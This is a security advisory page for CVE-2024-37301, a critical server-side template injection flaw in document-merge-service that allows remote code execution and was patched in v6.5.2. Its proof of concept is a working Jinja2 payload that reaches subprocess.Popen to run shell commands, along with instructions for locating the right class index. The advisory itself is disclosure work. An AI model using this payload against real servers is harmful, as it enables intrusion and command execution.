Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS12NWdmLXI3OGgtNTVxNs4AA88z

document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Impact

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

It has been patched in v6.5.2

References

• https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

Permalink: https://github.com/advisories/GHSA-v5gf-r78h-55q6
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NWdmLXI3OGgtNTVxNs4AA88z
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: 6 months ago
Updated: about 1 month ago

CVSS Score: 9.1
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Identifiers: GHSA-v5gf-r78h-55q6, CVE-2024-37301
References:

• https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6
• https://nvd.nist.gov/vuln/detail/CVE-2024-37301
• https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074
• https://github.com/advisories/GHSA-v5gf-r78h-55q6

Repository: https://github.com/adfinis/document-merge-service
Blast Radius: 1.0

Affected Packages